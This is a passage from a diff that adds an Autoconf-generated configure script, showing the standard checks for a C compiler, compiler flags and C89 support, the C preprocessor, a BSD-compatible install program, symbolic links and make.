ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CC="gcc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +else + CC="$ac_cv_prog_CC" +fi + +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. +set dummy ${ac_tool_prefix}cc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="${ac_tool_prefix}cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + fi +fi +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + ac_prog_rejected=no +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# != 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" + fi +fi +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + for ac_prog in cl.exe + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_CC="$ac_tool_prefix$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$CC" && break + done +fi +if test -z "$CC"; then + ac_ct_CC=$CC + for ac_prog in cl.exe +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6; } +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_word$ac_exec_ext" && $as_test_x "$as_dir/$ac_word$ac_exec_ext"; }; then + ac_cv_prog_ac_ct_CC="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6; } +else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + + + test -n "$ac_ct_CC" && break +done + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ echo "$as_me:$LINENO: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&5 +echo "$as_me: WARNING: In the future, Autoconf will not detect cross-tools +whose name does not start with the host triplet. If you think this +configuration is useful to you, please write to autoconf@gnu.org." >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +fi + +fi + + +test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&5 +echo "$as_me: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } + +# Provide some information about the compiler. +echo "$as_me:$LINENO: checking for C compiler version" >&5 +ac_compiler=`set X $ac_compile; echo $2` +{ (ac_try="$ac_compiler --version >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler --version >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -v >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -v >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (ac_try="$ac_compiler -V >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compiler -V >&5") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + +{ echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5 +echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6; } +if test "${ac_cv_c_compiler_gnu+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_compiler_gnu=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_compiler_gnu=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_c_compiler_gnu=$ac_compiler_gnu + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5 +echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6; } +GCC=`test $ac_compiler_gnu = yes && echo yes` +ac_test_CFLAGS=${CFLAGS+set} +ac_save_CFLAGS=$CFLAGS +{ echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5 +echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6; } +if test "${ac_cv_prog_cc_g+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_save_c_werror_flag=$ac_c_werror_flag + ac_c_werror_flag=yes + ac_cv_prog_cc_g=no + CFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cc_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + CFLAGS="" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_c_werror_flag=$ac_save_c_werror_flag + CFLAGS="-g" + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cc_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + ac_c_werror_flag=$ac_save_c_werror_flag +fi +{ echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5 +echo "${ECHO_T}$ac_cv_prog_cc_g" >&6; } +if test "$ac_test_CFLAGS" = set; then + CFLAGS=$ac_save_CFLAGS +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi +{ echo "$as_me:$LINENO: checking for $CC option to accept ISO C89" >&5 +echo $ECHO_N "checking for $CC option to accept ISO C89... $ECHO_C" >&6; } +if test "${ac_cv_prog_cc_c89+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_cv_prog_cc_c89=no +ac_save_CC=$CC +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <stdarg.h> +#include <stdio.h> +#include <sys/types.h> +#include <sys/stat.h> +/* Most of the following tests are stolen from RCS 5.7's src/conf.sh. */ +struct buf { int x; }; +FILE * (*rcsopen) (struct buf *, struct stat *, int); +static char *e (p, i) + char **p; + int i; +{ + return p[i]; +} +static char *f (char * (*g) (char **, int), char **p, ...) +{ + char *s; + va_list v; + va_start (v,p); + s = g (p, va_arg (v,int)); + va_end (v); + return s; +} + +/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has + function prototypes and stuff, but not '\xHH' hex character constants. + These don't provoke an error unfortunately, instead are silently treated + as 'x'. The following induces an error, until -std is added to get + proper ANSI mode. Curiously '\x00'!='x' always comes out true, for an + array size at least. It's necessary to write '\x00'==0 to get something + that's true only with -std. */ +int osf4_cc_array ['\x00' == 0 ? 1 : -1]; + +/* IBM C 6 for AIX is almost-ANSI by default, but it replaces macro parameters + inside strings and character constants. */ +#define FOO(x) 'x' +int xlc6_cc_array[FOO(a) == 'x' ? 1 : -1]; + +int test (int i, double x); +struct s1 {int (*f) (int a);}; +struct s2 {int (*f) (double a);}; +int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int); +int argc; +char **argv; +int +main () +{ +return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; + ; + return 0; +} +_ACEOF +for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ + -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" +do + CC="$ac_save_CC $ac_arg" + rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext; then + ac_cv_prog_cc_c89=$ac_arg +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext + test "x$ac_cv_prog_cc_c89" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC + +fi +# AC_CACHE_VAL +case "x$ac_cv_prog_cc_c89" in + x) + { echo "$as_me:$LINENO: result: none needed" >&5 +echo "${ECHO_T}none needed" >&6; } ;; + xno) + { echo "$as_me:$LINENO: result: unsupported" >&5 +echo "${ECHO_T}unsupported" >&6; } ;; + *) + CC="$CC $ac_cv_prog_cc_c89" + { echo "$as_me:$LINENO: result: $ac_cv_prog_cc_c89" >&5 +echo "${ECHO_T}$ac_cv_prog_cc_c89" >&6; } ;; +esac + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +{ echo "$as_me:$LINENO: checking how to run the C preprocessor" >&5 +echo $ECHO_N "checking how to run the C preprocessor... $ECHO_C" >&6; } +# On Suns, sometimes $CPP names a directory. +if test -n "$CPP" && test -d "$CPP"; then + CPP= +fi +if test -z "$CPP"; then + if test "${ac_cv_prog_CPP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + # Double quotes because CPP needs to be expanded + for CPP in "$CC -E" "$CC -E -traditional-cpp" "/lib/cpp" + do + ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + # <limits.h> exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + Syntax error +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi + +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <ac_nonexistent.h> +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi + +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + break +fi + + done + ac_cv_prog_CPP=$CPP + +fi + CPP=$ac_cv_prog_CPP +else + ac_cv_prog_CPP=$CPP +fi +{ echo "$as_me:$LINENO: result: $CPP" >&5 +echo "${ECHO_T}$CPP" >&6; } +ac_preproc_ok=false +for ac_c_preproc_warn_flag in '' yes +do + # Use a header file that comes with gcc, so configuring glibc + # with a fresh cross-compiler works. + # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + # <limits.h> exists even on freestanding compilers. + # On the NeXT, cc -E runs the code through the compiler's parser, + # not just through cpp. "Syntax error" is here to catch this case. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + Syntax error +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + : +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Broken: fails on valid input. +continue +fi + +rm -f conftest.err conftest.$ac_ext + + # OK, works on sane cases. Now check whether nonexistent headers + # can be detected and how. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <ac_nonexistent.h> +_ACEOF +if { (ac_try="$ac_cpp conftest.$ac_ext" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_cpp conftest.$ac_ext") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null && { + test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || + test ! -s conftest.err + }; then + # Broken: success on invalid input. +continue +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + # Passes both tests. +ac_preproc_ok=: +break +fi + +rm -f conftest.err conftest.$ac_ext + +done +# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. +rm -f conftest.err conftest.$ac_ext +if $ac_preproc_ok; then + : +else + { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check +See \`config.log' for more details." >&5 +echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +# Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AmigaOS /C/install, which installs bootblocks on floppy discs +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# OS/2's system install, which has a completely different semantic +# ./install, which can be erroneously created by make from ./install.sh. +{ echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5 +echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6; } +if test -z "$INSTALL"; then +if test "${ac_cv_path_install+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + # Account for people who put trailing slashes in PATH elements. +case $as_dir/ in + ./ | .// | /cC/* | \ + /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ + ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \ + /usr/ucb/* ) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_prog$ac_exec_ext" && $as_test_x "$as_dir/$ac_prog$ac_exec_ext"; }; then + if test $ac_prog = install && + grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + elif test $ac_prog = install && + grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # program-specific install script used by HP pwplus--don't use. + : + else + ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" + break 3 + fi + fi + done + done + ;; +esac +done +IFS=$as_save_IFS + + +fi + if test "${ac_cv_path_install+set}" = set; then + INSTALL=$ac_cv_path_install + else + # As a last resort, use the slow shell script. Don't cache a + # value for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the value is a relative name. + INSTALL=$ac_install_sh + fi +fi +{ echo "$as_me:$LINENO: result: $INSTALL" >&5 +echo "${ECHO_T}$INSTALL" >&6; } + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +{ echo "$as_me:$LINENO: checking whether ln -s works" >&5 +echo $ECHO_N "checking whether ln -s works... $ECHO_C" >&6; } +LN_S=$as_ln_s +if test "$LN_S" = "ln -s"; then + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } +else + { echo "$as_me:$LINENO: result: no, using $LN_S" >&5 +echo "${ECHO_T}no, using $LN_S" >&6; } +fi + +{ echo "$as_me:$LINENO: checking whether ${MAKE-make} sets \$(MAKE)" >&5 +echo $ECHO_N "checking whether ${MAKE-make} sets \$(MAKE)... $ECHO_C" >&6; } +set x ${MAKE-make}; ac_make=`echo "$2" | sed 's/+/p/g; s/[^a-zA-Z0-9_]/_/g'` +if { as_var=ac_cv_prog_make_${ac_make}_set; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.make <<\_ACEOF +SHELL = /bin/sh +all: + @echo '@@@%%%=$(MAKE)=@@@%%%' +_ACEOF +# GNU make sometimes prints 